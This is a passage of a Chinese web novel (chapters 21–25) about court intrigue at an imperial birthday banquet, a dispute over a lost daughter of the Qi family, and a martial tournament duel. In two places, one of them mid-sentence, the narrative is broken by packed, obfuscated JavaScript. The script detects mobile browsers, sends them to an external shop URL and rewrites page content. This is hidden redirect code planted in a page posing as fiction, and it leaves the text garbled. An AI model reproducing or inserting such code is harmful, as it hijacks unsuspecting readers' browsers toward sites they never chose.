不等众人反应过来,徐清膝盖转了个方向,朝着上首的帝王稽首,“栖枝自小在徐家长大,与我和阿姐情同姐妹,更是与我大哥两情相悦,不日将完婚,如今世子第一次见面便说栖枝是齐家女,且并无实据,空口无凭,世子是何居心?” 话毕,徐清偏头怒视齐予安。 “徐四!”一声斥责从上首传来,“你可知你在同谁说话?你的意思是齐家想抢你身边的婢女不成?” “陛下赎罪。”额头重新磕回地面,徐清嗓音不大却认真,“栖枝不是婢女,臣女知晓齐阳王是骁勇善战,勇冠三军的铮铮英雄人物,若栖枝真是齐家女,臣女自然为她高兴,但齐世子并无信物可证实,臣女不能只因世子一句话便将栖枝交给他。” “如此,臣 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“徐四,”皇帝沉声唤徐清,“你道你与这丫头自小一同长大,应当知晓这块玉,你可还有话说?” 徐清唇张了张,却吐不出字来。 兰家众人和徐妗皆递来担忧的的目光,徐妗更是有了起身想站出来的动作,但被徐清的一个眼神制止。 这时席里看戏许久的沈祁站出来,朝着皇帝拱手行礼。 “父王,儿臣有一言,既然齐世子已证明徐四身边这姑娘是齐家早年丢失的女儿,徐四也说自小二人情如姐妹,况且这姑娘与徐家大公子又两情相悦即将喜结连理,双方如此僵持不是办法,还会扰了父皇过寿的兴致,不若问问这姑娘的意思呢?” 皇帝闻言赞同地点点头,视线终于真正落到一直跪在徐清身后的栖枝身上。 “丫头,你怎么想?” 栖枝垂着头,似是在思索,须臾,她折腰,以额贴地,温声道:“民女幼年走失,幸得徐家给予温饱,才有今日。徐家待民女犹如亲女,民女只愿留在徐家,以报养育之恩。” 栖枝刚说完,齐行安便急急道,“若回齐家,齐家自会替你报了这十几年的养育之恩,且还能以齐家女的身份风光嫁给那徐家大郎……” 身侧的齐予安侧头瞪了弟弟一眼,齐行安一瞬间便止住了话。 大殿内,众人的目光来来回回几番交涉,沈祁亦向徐清递了个眼神。 不过徐清不曾看他,自然也没回应他。 “父皇,”沈郗从席间起身,拱手,“今日乃父皇寿宴,齐世子与徐四姑娘不妨各退一步,就让这姑娘留在徐家,齐家人若随时相见她,徐家不得阻挠。齐世子可即刻去信告知齐阳王已找到丢失多年的小妹,想必齐阳王知晓后便能解了这思女之疾,不日病去便能进京来亲自见一见亲女。” “至于徐四姑娘说的亲事,便由他们自个儿决定,如何?” 皇帝垂眸暗忖几息,道了声“盛王所言甚好,那便如此罢。” 说罢,一挥手便止了这场争执。 公公继续念方才未念完的礼单,齐家兄弟起身躬腰又行一礼后回到自己的位置上。 栖枝也起身跪坐回徐清身后侧。 氛围重新平静下来的大殿里,一道探究的视线落在徐清身上。 22. 二十二 万寿宴(三) 长长的礼单终于念完,公公一脸喜色的退下。 舞女们鱼贯而入,柳闻依换了一身烟紫色衣裙,不似宫门与徐清交谈时着的那件那般素,却也不夺人眼目。 她跪坐在玉琴之后,姿态端庄,眸色沉静。 “臣女久居大慈恩寺,身无长物,思来想去也就这琴艺尚且拿得出手,便奏一曲贺陛下福寿安康,寿与天齐。” “允!”圣人的眼底划过一丝怀念,“朕记得你的琴艺是同你姑母学的,朕是许久没听过了。” 这说的姑母,便是柳皇后柳青瓷了。 柳闻依嘴角牵起一抹笑,指尖起落拨动间,琴音泻出,如溪水潺潺。 兰愿宜趁着众人的注意力都在柳闻依身上时,悄悄从兰夫人身边挪到徐清身旁。 “清清姐姐……” 徐清闻声从思绪中抽身,偏头瞧见兰愿宜皱起的一张小脸,牵起唇角。 “怎的一副苦大仇深的模样?” 兰愿宜又看向一直在徐清身旁垂着脑袋的栖枝,摇摇头没说话,只是挨着两人更近了些。 娘说了,清清姐姐和阿妗千里迢迢来到京城是身不由己,如今来了这人身地不熟的地儿,更要多加关照。 她怕方才那一遭让清清姐姐害怕,便自觉过来陪陪徐清。 想起方才,她抬眼看向对面席座,恰望见齐行安正遥遥盯着这儿。 本就浑圆的眼睛凶狠一瞪,她又挪了挪身子,微微挡住了栖枝的身影。 正看着小妹的齐行安措不及防地被挡住视线,有些莫名,一转眼便见那挡了他的姑娘还怒气冲冲地望着他。 齐行安拧了眉,二人同时移开目光。 而殿中央,最后一个音落下,柳闻依缓缓收回手,欠身一礼,温声道:“臣女琴艺不如姑母,献丑了。” “也很不错了。” 不待皇帝开口,身旁的丁枣儿已自然地接上了话头,夸赞了一句,续道:“本宫许久不见闻依,如今竟长成了这般标志的模样。” “陛下,闻依早已及笄,如今都过了碧玉年华,也该婚配了吧?” 说着眉目一转,笑意盈盈地看向席座间坐在沈郗旁桌的俊朗男子。 “臣妾瞧着钟家大公子便不错,适龄儿郎,仪表堂堂,与闻依实在般配。” 钟珣奕乍一被点了名,忙起身作辑,“臣……” “陛下!”一直未曾出声的淑妃忽的扬声唤了声,直接截断了钟珣奕的话头,而后嗓音柔顺下来,“闻依随臣妾久居大慈恩寺,早已远离京城之事许久,此时讨论婚事,怕是为时尚早。” “淑妃说的有理,闻依的亲事不急。”皇帝在丁枣儿愈加难看的面色中点了点头,而后话锋一转,沉声:“不过闻依如今确实不小了,此后便搬回京城来,让淑妃为你择一良婿。” 随后又看向柳青烟,面色和语气都柔和下来,“淑妃也不必再去大慈恩寺了,回了宫也好操持老四老五的婚事。” 淑妃淡淡笑了一下,眼帘微垂,“臣妾早已在大慈恩寺住惯了,不日日诵经为阿瓷祈福,臣妾心难安。” 皇帝默了默,“那便依你。” 一垂首,见钟珣奕还维持着躬身的姿势,皇帝摆了摆手,“钟卿入座罢。” 钟珣奕闻言,不着痕迹地吐出一口气,朗声:“谢陛下。” 柳闻依也默不作声地福身一礼后退了下去。 宴厅里歌舞不歇,丁枣儿坐在帝王身旁,脸上硬扯出的笑扭曲难看。 徐清朝沈祁看去,果见他嗤笑一声。 不待她转移目光,便听见身旁的兰愿宜忽而疑惑地“咦”了声,“她怎么来了呢?” 徐清闻声侧首,“什么?” “就是那个,宋二身边那个。”兰愿宜从袖中伸出一根手指,藏在桌下给徐清指了个方向。 “忠文侯之女叶然,她爹不是因为缘尘楼那件事被陛下剥夺了封号,责罚在家思过不许上朝嘛,我以为她也得在家,没想到宋二还是带她来了。” 徐清往兰愿宜指的方向看去,就见一盘着妇人发髻的年轻女子面色恍惚颓靡,像是经历一场浩劫后不知如何自处的茫然。 再一瞧,她身旁的宋阳时不时侧头贴耳与其轻语,一幅关怀备至的模样,叶然面前的食盘也在宋阳的几番动作下盛得满当。 身旁的兰愿宜也看着这一幕,嘴里嘟囔,“这宋二果真如她们传的那般对叶然死心塌地,非她不可啊。” 徐清听了一耳朵,黑瞳微转,脑中有了些别的思绪。 酒过几巡,帝王放下酒樽,罢了手,道一声“乏了”便与一众妃嫔先离了席。 人头攒动中,徐清拉着栖枝走出了大殿。 没走出多远,便被不知打哪蹿出来的齐行安拦住。 他站在二人面前,目光凝着栖枝,语气有些小心翼翼地唤了声:“韫儿……” 徐清侧身,站在了栖枝前头,语气不善:“齐二爷方才可是没听见陛下的话?那不妨我再提醒齐二爷一下,陛下说了,栖枝算我徐家人。” 齐行安忆起方才大殿上的争执,语气也冷硬得不行: “陛下也说了,我们可以随时探望,徐家人不得阻拦,徐四姑娘是要违抗圣令吗?” 想到他与长兄差一点就能将小妹认回来了,却因这半路杀出的‘程咬金’,硬是咬着“亲如姐妹”“与大哥两情相悦”将小妹留在徐家,现下对上徐清他实在露不出好脸色。 况且谁知道徐家大郎是个什么样的人,会不会对他妹子好呢? 齐行安脑中这般想着,嘴上继续道:“还有,我家小妹名韫安,瞧瞧你们徐家给她起的什么名字?” 他在大殿上听着徐清唤自家小妹为栖枝时便觉得不快,如今便想好好说道几句。 栖枝栖枝,可是栖息在谁家枝头的意思? 齐行安想着,他家妹子既有家,便不需要栖在别家枝头,可怜得很。 可不等这二人继续互呛,一道平静的声音从徐清身后传来,“这是我自己起的。” 齐行安略有些嫌弃和恼怒的神色刹那间僵在面上。 栖枝从徐清身后走出来,伸手牵了下徐清的手,行安抚之意。 随后抬眸看向齐行安身后,往这走来的齐予安,“你们想与我聊什么?” 金秋已过,近来京城凉意渐重。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044186|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐清念着回了兰府要写信与徐泽时,一阵夜风袭来,让她不自觉打了个寒颤。 思绪清晰些后,她又忽而想起这时正是枝头挂柿果的时节。 今岁怕是无法与徐珵许钰他们一道摘果子了。 这样的念头让她深深叹了口气。 只是这一口气还没来得及叹完,另一口气霎时又提了起来。 今夜无月,没有宫人掌灯的宫墙小道里,一道清朗俊逸的身影迎面走来。 他立在离徐清偏远的位置,开口嗓音温润清冽:“徐四姑娘方才不应与齐世子起冲突的。” 徐清循声抬眼望去,是方才大殿上,被丁枣儿指着的钟珣奕。 栖枝刚被齐家那两兄弟带走,徐清正烦着这事儿,眼前这人却是一来便指点上她来了。 徐清睨着他,冷声:“钟公子先顾好自个儿吧,不必特意来教我如何做行事。” 钟珣奕静默几息,“徐四姑娘误会了,在下吃酒多了,出来赏月醒个神,恰遇见徐四姑娘便想来提个醒罢了。” 徐清顿觉好笑。 想来钟家女嫁作盛王妃,这钟家便是盛王那的人,钟珣奕此番来搭话,应也是怕齐家因栖枝而站队。 今日多事,徐清打从进了宫门便一路应付过沈硕沈祁,大殿之上又在天子眼下与齐家兄弟争执,如今又来个钟家人,她只觉烦不胜烦。 “钟公子有何需提醒我的?栖枝乃我徐家人,有人要抢我家人我自然是不允的,我们不似钟家,卖女求家族繁荣。” 这倒是徐清猜的,陛下让徐妗徐清和其他三位王妃帮衬着丁枣儿筹办万寿宴,虽说丁枣儿只紧着盛王妃一人,但其他四人也是走了个过场,徐清也瞧见了盛王妃淡然孝敬表象下的厌烦。 想来钟芸熙心中亦有她想,只是迫于家族利益不得不委身。 这一句出来,徐清想大抵是要直接与钟家撕破脸了。 只是钟珣奕并未如预想那般暴怒,而是沉默下来。 不远处有宫人经过,微弱的光透进来,映着中钟珣奕微微发红的脸和垂下的眼。 徐清见他默不作声,也不欲多留,如今她有圣上亲赐的婚约在身,若是被人瞧见她与一男子在这漆黑僻静的地儿相对而立,怕是要被问责。 她心中烦愁,敷衍福礼便想离开。 只她刚侧了个身子,便听见钟珣奕喑哑下去的声:“我亦不想,故而前来提醒姑娘,或许可利用齐家脱身,姑娘又何故戳人痛处。” 徐清迈出去的脚一顿,有些怔然。 她想起初夏时节,那份赐婚圣旨从京城千里迢迢来到江南,在徐府宣读时,二位兄长紧攥的拳。 徐清抿了抿唇,忽而回首,嘴角带笑,眉眼弯弯,眸底清凌凌如溪水荡涟漪。 她道:“钟公子怕是酒还未醒吧?” “今日可看见月亮了?” 钟珣奕抬眸,骤不及防地撞进一池清水中,一时无言。 徐清的背影彻底隐没在视线之外后,钟珣奕才仰首望天。 黑云随风移,不见星也不见月。 钟珣奕盯着这一片黑沉,神色微变,随即释然一笑。 23. 二十三 翻墙 万寿宴散了后,一行人回到兰府。 屋子里,徐清栖枝二人对坐于在圆桌前。 “栖枝,大殿之上我未曾问过你的意思,如今我想问一句,你若想回去,我自是不会阻拦。” “姑娘怎的如此说?我若想去齐家,今儿大殿上便不会说想就在徐家了。”栖枝抚上徐清落于膝头的手,“栖枝的命是姑娘救得,自然会一直在姑娘身边。” 徐清眉目柔和,心下安定些,叹了声,“李月时倒是说对了,这京城确实不是什么好地方。” 她没问后来栖枝与齐家兄弟聊了些什么,如往常般送栖枝进屋后,她立于案前,毫尖点墨,提笔却迟迟难以落下。 屋外大风,金白桂花落在窗棂,一阵花香沁入室内。 思忖半刻,徐清落笔,字字斟酌地写了满满三页纸。 最后落下句“时令已到,枝头挂果,当事事如意,阿兄来时带些柿饼可好?” 收笔,徐清呼出一口气。 信在夜色中加急送往江南,徐清屋内的烛火彻夜未熄。 万寿宴过后,徐清像是清闲了下来,沈硕没再来找她,齐家兄弟留在了京城却也不曾来过兰府,除了宫里时不时来人给她和阿姐量体裁衣,偶尔接她们进宫学礼外,并无他事。 这日天凉,徐清和徐妗在院子里煮茶,一起盘算着徐泽还有几日到京城来时,兰府的小厮带来一封拜帖。 是钟芸熙送来,邀请徐清前去盛王府同赏桂香的。 徐清接了拜帖,打发走小厮,盯着拜帖沉默。 京城的天多变,人也复杂。 那日万寿宴进宫走了一遭,徐清方知进京前,与阿姐廊下对弈时那句“若此路不通,便硬破条道出来”有多天真。 “阿姐,大哥或许明日就到,他当先去城郊看望外祖母,届时我去赴宴,或许不能同去迎他。” 徐妗轻咳一声,笑了笑,“我明日亦有约,不若就让栖枝去迎吧?” 徐清闻言微讶,一转眼瞧见徐妗眉梢微调,视线往栖枝身上瞟,心下了然。 于是就这么拍了板,二人各自赴会,栖枝去迎徐泽。 第二日一早,徐清换了身翠微色鱼戏莲叶纹长裙,梳洗好后,便与前日先入了京回来的歌槿一同拉着栖枝捣鼓。 最后二人是被耳根都烧红的栖枝推着出了门。 盛王府坐落在隆庆坊中,与兰府所在的永崇坊皆地处朱雀门街东。 穿过都会市,再打两个弯,马车停在了盛王府门外。 门外小厮瞧了眼马车外的挂牌,打了个辑后往府里小跑,片刻后便带了两个丫头一齐迎了出来。 “徐四姑娘随奴婢来,王妃在后院云华亭等姑娘。” “有劳。” 跟着丫鬟进了二门,跨上五级阶梯在抄手游廊下走了几步,远远便望见一袭缃叶色宫装的钟芸熙立在小拱桥上。 徐清方走近,便被钟芸熙挽了手。 她一双眼珠子在徐清面上来回扫视,言笑晏晏道:“不愧是江南来的娇娇娘,一进来便给这满园金秋色添了抹亮色,远远瞧着便觉得这院里都有了生机。” 不待徐清接话,她已拉着徐清下了小拱桥,续道:“第一眼我便觉得与你投缘,只是那时宫宴事多,到了近日才得了空,恰好是金桂时节,便邀你来一同赏桂,顺道品一品前些日子我自个儿弄的桂花茶。” 话落,几人正好走进云华亭,石桌上沸水煮茶,桂香四溢。 徐清摸不清钟芸熙突然邀约的意思,落了座依言端起茶杯浅抿了一口。 入口清香馥郁,确是好茶。 便在钟芸熙期待的目光中笑赞:“娘娘心灵手巧,这茶甘甜醇和,入口滋味极妙。” 钟芸熙听了笑得愈发愉悦,转头便吩咐身旁的丫鬟去备上一些,好让徐清晚些一同带回去。 刚吩咐完,便见那方抄手游廊下又走来一熟悉的身影。 钟芸熙喜道:“阿兄来了!” 徐清偏头瞧去时,钟珣奕正拾级而下,二人目光远远相撞,却是钟珣奕先怔了一下,似是不曾想到会在这处见到徐清。 钟芸熙起身迎上去,徐清见状放下茶杯,也随着起了身。 “阿兄今日怎的突然过来?” 钟珣奕站在亭外,抬手轻抚了下妹妹的鬓发,垂眸轻笑,“来瞧瞧你,今儿这么高兴?” 钟芸熙点头,含笑回首看向站在她身后不远处的徐清,“今儿邀了徐四姑娘来赏花,她夸我茶好喝,我自然高兴,阿兄要尝尝吗?” “我……” 钟珣奕刚出了个声,廊下又小跑来一丫鬟,凑到钟芸熙耳边,急急道:“娘娘,崔良媛喊着肚子不适,要请太医来。” 钟芸熙眸色冷然下来,淡声吩咐:“看住她,我稍后过去。” 待那丫鬟再次跑远后,她抬首看着钟珣奕担忧的面庞,无所谓地笑笑,而后转身朝徐清抱歉道:“原以为是个空闲日子,没曾想还是有意外,今日招待不周,对不住徐四姑娘。” “无妨。娘娘先忙,改日得了闲,可以一同去城郊,想来那儿的景色也是万分不错的。” 钟芸熙扯了抹笑,不似方才那般神采奕奕,“阿兄,你替我送送徐四姑娘。” 钟珣奕没再说什么,只对徐清做了个请的手势,二人一前一后走出盛王府。 后头的钟芸熙目送二人离开的背影消失在游廊转角后,木着张俏脸往内院去。 门外兰府的马车已候着,徐清福礼准备拜别,钟珣奕抢先开了口:“娘娘命我送徐姑娘,恰好顺路,一道吧。” 话至此,徐清也不好拒绝,只是钟府在崇仁坊,兰府在永崇坊,说是顺路也是徐清顺了他的一段路。 钟珣奕翻身上马,伴在徐清的马车旁。 “钟公子可是在忧心娘娘?” 徐清自那日万寿宴听钟珣奕那句“我亦不想”想起了远在江南的两位兄长后,便对这钟珣奕有了几分好印象,如今见他眉宇间的愁意太重,将剑眉都拧成了结,便忍不住开口。 钟珣奕闻声回了神,偏头看向徐清,抿了抿唇,思绪几番拉扯,没答话,却是道:“钟某有一问,想请徐姑娘解惑。” 徐清微微侧首,眸色明亮清澈,一如那夜她回首望来的目光。 “钟公子请说。” “万寿宴那夜,你为何说钟家,”钟珣奕顿了下,接下来几个字说的有些艰难,“卖女求荣……” 徐清有些诧异,脑中却已浮现那日情景。 万寿宴与秋猎时间近,为节省开支,皇帝下了旨令 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这回钟芸熙没再斥她,只是垂眸轻叹,“他日若得脱身法,便是生吃黄连苦也是甜。” 马车微晃地穿过朱雀街东第四街的胜业坊,驶进崇仁坊。 钟珣奕自听完徐清的话后便一路沉默,徐清怕他心中忧愁更重,撩开点布帘,想说些什么安慰他,只是视线望出去,正瞧见沈祁与宋阳并肩从宋府走出来,宋阳身边还跟着个美妇人,正是宫宴那日还神色萎靡苍白的叶然。 今日再看,面色红润了许多,想来心中郁愁散去不少。 这般想着,那边正与宋阳说着话的沈祁忽然偏首望来,两厢目光相撞,徐清率先放下布帘。 马车转过这条巷子,驶出一段距离后,便瞧见了钟府的牌匾。 “钟府到了,钟公子再不必远送。” 徐清轻柔的嗓音唤回了钟珣奕的神思,他抬头一看,才恍然发觉自己不知不觉就骑马跟着徐清的马车走了,他本想先送徐清回兰府,却不想先被徐清送回了钟家。 “钟公子也不必太过忧心,王妃娘娘很得皇后娘娘看重,想来只是事多压身,心中烦闷才会说出那般话,我那日之言也有些过了。 钟珣奕听出了徐清的慰抚之意,笑了笑,“该是钟某向徐姑娘赔罪才是,是钟某吃醉了酒先冒犯了徐姑娘,还望徐姑娘不要怪罪。” “那便扯平了。”徐清轻点了下脑袋,唇角噙笑,落了帘子。 马车往前继续行驶,钟珣奕纵马不自觉跟了两步,遥遥听见徐清那句“钟公子不必送了”才停下了步子。 徐清回到兰府时,徐妗和栖枝都还未归。 她进屋刚取下一支发簪,便听见屋后传来极轻的动静,有些熟悉。 她起身推开窗,果不其然见到沈祁一身长春色窄袖长衫,玄色绦带束着劲瘦的腰身,眼见徐清,便双臂环于胸前,一条长腿微屈,整个人懒洋洋的靠在那棵桂树下。 一双看向徐清的眸子里盛了些探究,又有些幽怨。 徐清一手横在窗棂上,一手撑在脸侧,好整以暇地望着他。 四目相对,徐清微扬眉梢,弯唇一笑,“殿下很喜欢翻墙呢。” 24. 二十四 年赋门 四目相对,徐清微扬眉梢,弯唇一笑,“殿下很喜欢翻墙呢。” 第一次见面,就是沈祁潜入徐府,不想随便选了个僻静少人的院墙,却翻进了徐清的院子,末了还留了一缕发尾在那。 这是第二次了。 沈祁闻言立刻回呛:“徐四姑娘不也是?” 这说的就是当时一同调查缘尘楼时,徐清得知陛下在早朝上将案子交给沈郗时,夜入静王府的事了。 徐清点点头,也不否认,笑问:“所以今儿殿下来所为何事?” “你去盛王府了?” 徐清一幅清白模样,“嗯,盛王妃邀我摘花煮茶。” 话语间,清风拂过,几朵金桂落在沈祁发间和肩头。 他继续问:“你何时又与钟珣奕相熟了?” 徐清抬了抬下巴,依旧是那幅坦荡样,“殿下可别乱扣帽子,钟公子今日恰好前去盛王府看望盛王妃,碰巧遇上,便送了我一程罢了。” 沈祁不再作声,一双漆黑的眼眸直勾勾地盯着徐清。 徐清端详着他的神色,意味深长地补充道:“殿下一路跟着我,应当也瞧见我与钟公子并未逾矩。” 沈祁还是不应声,倒是突然走近,抬手伸向徐清的鬓边。 后者惊了一下,未来得及有躲避的动作,就瞧见沈祁的指尖捏了朵小小的金桂。 原来风也带着花栖在了她的青丝间。 “你大哥入京了?” 沈祁松了手,另起话头。 金桂落下,融进了满地的金黄中。 徐清瞥了眼他发间零落的金色,抿了抿唇,应声:“嗯,栖枝去城外迎他了。” “其实,”沈祁顿了顿,似乎在组织措辞,丝毫没注意到徐清的视线,“齐家是个很不错的助力,且当年林、温战败,是齐阳王即刻接手,反败为胜,或许他手上有些线索也未可知。” 话落,就见徐清冷下脸,“殿下何意?” 风不止,吹落枝头桂,扬起地上花,二人在这一片桂花雨中对视。 几息间,沈祁先败下阵来,他道:“万寿宴后齐予安已去信齐阳王,他不会让他女儿嫁给你大哥的,你打算怎么做?” “与殿下无关。”徐清面无表情地站直身子,抬手关了窗,“殿下也不必将算盘打在臣女身边人身上,请回吧。” 那日二人不欢而散,夜里见到徐泽,四人围桌而坐,彻夜长谈后,第二日拜会了兰氏夫妇后,傍晚时分,栖枝徐泽再启程回江南。 临行前,徐清又当着徐泽的面对栖枝郑重道:“你若不喜他,不必为了留在徐家委屈自己,你不想回那齐家,我定会为你另寻办法。” 徐泽在一旁面色难言,想阻止徐清,又不好出声,最后只能一脸紧张地看着栖枝。 幸而栖枝虽耳垂薄红,却也坚定,“我知晓的,不论如何,我与姑娘一直都是家人,我不会委屈自己的。” “好。” 徐清放下心来,一旁的徐泽也松出一口气,转而又看徐清要继续说道什么,赶忙拉过自家小妹,摆出兄长姿态语重心长叮嘱:“我们即刻启程,剩下京城这儿的事便交由你和阿妗了。” 官大一级便能压死人,何况是打了胜仗得了盛宠封了藩王的齐阳王,陛下既说了这亲事由两家自行决定,那便不能让他有拒绝的机会。 剩下的事,便是周旋齐家。 骏马在暮色里行出京城。 几人没有刻意掩饰动静,但齐家兄弟接到消息时,二人已行至半途,齐行安一腔愤怒闹着要进宫求陛下做主,却被齐予安拦了下来。 一封信笺辗转送到徐清书案上,像一颗石子落入湖中激起的最后一圈涟漪,终归于平静。 秋猎那日是个艳阳天,百官齐随,一路行至骊山,陛下射出第一箭后,马蹄声骤起,往林间掠去。 大梁虽对女子有诸多束缚,却是允许女子一同参加秋猎的。 徐清着了一身藏青色骑装,纵马行至林深处,忽而耳畔疾风起,她微微偏首,下一瞬立刻俯卧在马背上。 箭羽划开空气的尖啸声在徐清脑袋上呼啸而过,最后深深扎进前侧的树干里,可见力道之重。 她冷着脸回首,就见同样一脸凉意的齐行安手握长弓,弓弦仍在微微震动。 “来比一场如何?”齐行安驱马往前,朝着徐清微扬下巴,“看你是女子,让你三箭。” 妄自尊大,蛮横无理。 徐清瞧着他,心想这样的蠢货,难怪小时候会让自己妹妹受伤。 见徐清许久不答话,齐行安有些不耐地皱起眉,“徐四姑娘不敢吗?” 清脆的嗓音伴着马蹄声从身侧不远处传来,“我同你比!” 二人循声望去,是骑着马不知何时跟过来的兰愿宜。 “你?”齐行安语调微扬,打量了一番眼前这个骑马都有些吃力的女子,“你可以?” “就是我。”兰愿宜说着挺了挺腰杆子,却因身下的马儿动了一下又猛地塌下腰,嘴上的气势却半分也不落,“你这个人,自己的妹妹不愿意认你们,就总来找我表姐麻烦,是不是男人啊?” “你!” 没有男人能接受被人指着鼻子骂不是男人,齐行安到底年少,三言两语便被激怒,“好!那就你和我比!” “看你也不是什么会用弓的样子,若你能捉三只野兔,便算你赢。” “行啊,你输了就给清清表姐道歉,从此不许再找她麻烦。”兰愿宜昂首,一幅已经赢下比赛的模样。 “成。”齐行安毫不在意地点头答应,“但若是你输了呢?” “那我便任你处置。” “那就以日落为界,届时营地相见,看看谁输谁赢!” 二人你一言我一语便放下赌约,待徐清想出声阻止时,二人已一同纵马离去,眨眼不见踪影。 徐清拧眉,忧心兰愿宜安危,扯了缰绳便想追上去,谁料这时歌槿从林间驱马飞奔而来。 “姑娘!不好了!” “小满去武比了!” 马蹄踏过,扬起黄尘,歌槿掉马回营地先和徐妗通气,徐清策马抄小道先行下了山。 两批马驮着人向两个方向去,步调急切的二人都没注意到,在她们离开的地方,有人悠闲地拉着缰绳牵着马,抬手用弓拂开遮身的枝叶。 那人看着徐清疾驰而去的背影,拇指无意识地摩挲着弓上的雕纹,口中喃喃重复:“武比。” 徐清躬身向前,一路策马飞驰,用了大半日赶到今岁武比的地界。 双瑶比她还早地接到了消息,已在这候她许久。 远远听见密集的“笃笃”声,双瑶便知她到了。 这一念头刚起,就看见一道身影自林间而出,转眼即将行至眼前,下一刻,徐清勒紧缰绳同时收腿,不待马停稳,便在马背上一个璇身,稳稳落了地。 “人呢?” 徐清胸膛止不住地起伏,不知是急的还是气的。 “阿清,你先别急。”双瑶上首拉住她的手腕,“武比如今已经开始,小满放了话会代表居源和参加,那我们便不能临了离开了。” “她那三脚猫功夫能打谁?随便一根暗针就能让她倒下。”徐清气急,语速飞快,脸都微微发红,“她这真是……” “你先别生气,小满这孩子是个懂事的,她这段时间不是出去四处转了嘛,许是遇见了什么事,突然就有了参加的念头,我们先解决眼前的事,再好好问问。” 双瑶说着,抬手抚了抚徐清的背脊,慢慢安抚下她。 二人到时,林小满正准备上去,对面的人双瑶和徐清都认得,是年赋门现任门主的小儿子,年骁。 徐清走近时,还能听见林小满身旁的燕琼拧着眉劝“别去了,阁主知道了该生你气了。” “我话都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081234|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放出去了,怎么能不上。”林小满拧了拧手腕,语气有这么满不在乎的意味,“放心好了,待我赢下这局,阿姐就不会生我的气了。” 听到这话,徐清刚平息了些的怒火又升腾起,她伸手一把揪住林小满的衣领,随即凑到她耳边冷声冷气地问她:“你拿什么赢?” 窒息感突如其来,林小满浑身打了个哆嗦,不等她反应过来再撒娇说些讨饶的话,上头的年骁已经不耐地出声催促。 “到底来不来啊?官家小姐果然是娇气又无知爱逞能,如今是做了缩头乌龟不敢来了? “诶!你……”林小满闻言刚想反驳,后领的那只手又猛地用力,截断了她不服气的话音。 她抵抗不住徐清的力道往后倒去,下一瞬就被双瑶搂住了腰,一路往后退带离,帷帽上的皂纱拂在面上,一阵痒意让她忍不住闭上眼。 而那头的徐清将林小满一把拉进双瑶怀中后,足尖轻点,身形一动,落在了年骁对面。 年骁上下打量着眼前头戴帷帽,一身劲玄色劲装的女子,语气不屑道,“官家小姐,容貌不能示人吗?” “啰嗦。”徐清轻嗤。 年骁面色微变,抽出立在地上的大刀,“那便用实力来说话,诸位做个见证,今日可不算我欺负女子啊。” 周遭作壁上观的人群里传出笑声,唯有李月时等人目露担忧。 徐清微垂了眼,抽出腰间的折扇。 年骁见状微微挑眉,“你就打算用这把破扇子跟我比?” 徐清唇角勾起一抹笑,拇指一挑展开扇面,而后执扇的手抬起,手腕使力,在众人都没反应过来时,折扇飞出,一道残影擦着年骁的面颊而过,一个转弯又回到徐清手中。 “还比吗?” 年骁抬手摸了把脸,再放下时指尖几点猩红,面上隐隐作痛。 他扯了扯嘴角,不再多言,握起大刀冲向徐清。 徐清握扇立于原地不动半分,大刀迎面砍来,她举起手,扇锋对准刀锋,银光一路破开脆弱的纸,直直砍上扇柄的最顶端,发出刺啦的声响,下一瞬扇钉脱落,扇柄四散。 徐清顺着力道一跃,在空中一个璇身,躲开了刀光,随即手臂一展,将散开的扇柄全部收拢于掌心,趁着年骁再次使力挥刀时手一扬,扇柄再次脱手飞出,连续打在他握刀的手腕上,和手臂的麻筋上。 年骁肉眼可见地脱力了一瞬,徐清抓住时机抬脚一踢,夺了大刀,年骁握着被连续重击的右腕,恶狠狠地盯着从他手中抢走大刀的徐清,喉间发出一声怒吼,两臂展开,手呈鹰爪,再次朝着徐清冲过去。 徐清握着大刀,手臂使力挽了个刀花,脚下动作飞快地带动身体一边躲避,一边使刀背次次精准打在年骁的胸口,肩膀,腰,和膝弯的位置。 一声重响,年骁跪在了地上,大刀横在脖颈处。 周遭窃窃笑声早在徐清夺了大刀后便消失,现下更是死寂一片。 徐清立在年骁面前,微微歪头,皂纱随着她的动作轻轻晃动。 她语调平静道:“用实力说话,你可服了?” 年骁一手撑地,一手扶膝,怔愣片刻后有些讶异地抬首看向徐清,“你是谁?” 话落,他试图起身抬首去揭徐清头上的帷帽,却被徐清一个用力又重重地重新跪下去。 他不服地挣了挣,却动弹不得,只能恨声恨气,“你究竟是谁?为何会我年家的刀法?” 是了,一把纸和木做的折扇怎么抵得过铁做的大刀。 真正让徐清赢了年骁的,是她利用折扇夺过大刀后,使得年家刀法。 徐清没有回答他,一扬手将大刀甩在一旁的地上,转身跳下比武台,同时扬声宣布:“居源和不再参与接下来的任何一场武比。” 看着徐清愈来愈近的身影,双瑶转而望向人群中年家的位置,恰看见年赋门门主盯着徐清背影的那道阴毒的视线。 25. 二十五 冤家 “阿姐阿姐,我错了阿姐。”林小满一路都软着嗓子跟在徐清身后。 徐清寻了个僻静处,压着火低喝了一声,“跪下!” 三人都被这声惊了一下,林小满更是瞬间便膝盖一软,直挺挺跪在徐清身后。 另二人见状反应过来,燕琼立刻上前一步,皱眉单膝跪地,朝徐清拱手,“阁主,这不是阿吟的错,是那些人先挑衅,阿吟气不过才应下比试……” 话音未落,徐清已然转身,她躬身逼近燕琼,目光冷冽,“谁带你们去武比地界的?” 